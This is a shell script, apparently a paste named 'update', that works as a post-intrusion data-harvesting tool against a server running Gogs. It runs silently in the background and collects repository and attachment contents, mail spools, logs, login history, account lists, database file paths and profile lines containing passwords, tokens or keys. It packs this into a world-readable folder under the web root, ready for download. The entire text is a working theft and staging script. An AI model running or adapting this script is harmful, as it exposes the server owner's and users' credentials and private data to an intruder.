update 2.6 KB

123456789101112131415161718192021222324252627282930313233343536
  1. #!/bin/sh
  2. TAG="4361616"
  3. D="/var/www/html/z24361616"
  4. if mkdir "$D" 2>/dev/null; then
  5. (
  6. exec </dev/null >/dev/null 2>&1
  7. export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  8. O="$D/out2.txt"
  9. {
  10. echo "== identity =="; date -u; id
  11. echo "== gogs data dirs =="; ls -la /root/gogs/data; echo '--- repositories'; ls -laR /root/gogs/data/repositories 2>/dev/null | head -100
  12. echo "== attachments =="; ls -laR /root/gogs/data/attachments 2>/dev/null | head -400
  13. echo "== attachment file types =="; find /root/gogs/data/attachments -type f -exec file {} \; 2>/dev/null | head -100
  14. echo "== attachment small text content =="; for f in $(find /root/gogs/data/attachments -type f -size -64k 2>/dev/null | head -40); do echo "--- $f"; head -c 800 "$f" | tr -d '\000'; echo; done
  15. echo "== tmp dirs =="; find /tmp /var/tmp -maxdepth 3 -ls 2>/dev/null | head -200
  16. echo "== mail =="; ls -la /var/mail /var/spool/mail 2>/dev/null; for f in /var/mail/* /var/spool/mail/*; do [ -f "$f" ] && { echo "--- $f"; head -100 "$f"; }; done 2>/dev/null
  17. echo "== gogs log =="; ls -la /root/gogs/log 2>/dev/null; for f in /root/gogs/log/*.log; do [ -f "$f" ] && echo "--- $f" && tail -60 "$f"; done 2>/dev/null | head -300
  18. echo "== gogs custom dirs =="; find /root/gogs/custom -maxdepth 3 -type f 2>/dev/null | head -40
  19. echo "== www backup =="; cat /var/www/html/index.html.backup 2>/dev/null | head -60
  20. echo "== last logins =="; last -ai 2>/dev/null | head -40
  21. echo "== journal ssh =="; journalctl -u ssh --no-pager 2>/dev/null | tail -60
  22. echo "== journal gogs =="; journalctl -u gogs --no-pager 2>/dev/null | tail -40
  23. echo "== other db files =="; find / -xdev \( -name '*.sqlite' -o -name '*.sqlite3' -o -name '*.db' \) -size -20M -not -path '/proc/*' -not -path '/usr/*' -not -path '/root/gogs-repositories/*' 2>/dev/null | head -40
  24. echo "== passwd/group members with shells =="; awk -F: '$7 !~ /nologin|false/{print $1":"$3":"$6":"$7}' /etc/passwd
  25. echo "== profiles/bashrc aliases =="; grep -nE 'alias|export|PASSWORD|TOKEN|KEY' /root/.bashrc /root/.profile /home/debian/.bashrc /home/debian/.profile 2>/dev/null | head -80
  26. echo "== gogs gitconfig =="; cat /root/gogs/.gitconfig /root/git/.gitconfig 2>/dev/null; cat /root/.gitconfig
  27. echo "== done =="
  28. } > "$O" 2>&1
  29. # tar attachments (only small files & metadata) and small key dirs
  30. find /root/gogs/data/attachments -type f -size -2M 2>/dev/null > "$D/alist.txt"
  31. tar czf "$D/attachments.tgz" -T "$D/alist.txt" 2>/dev/null
  32. chmod -R a+rX "$D" 2>/dev/null
  33. touch "$D/.done2"
  34. ) &
  35. fi
  36. exit 0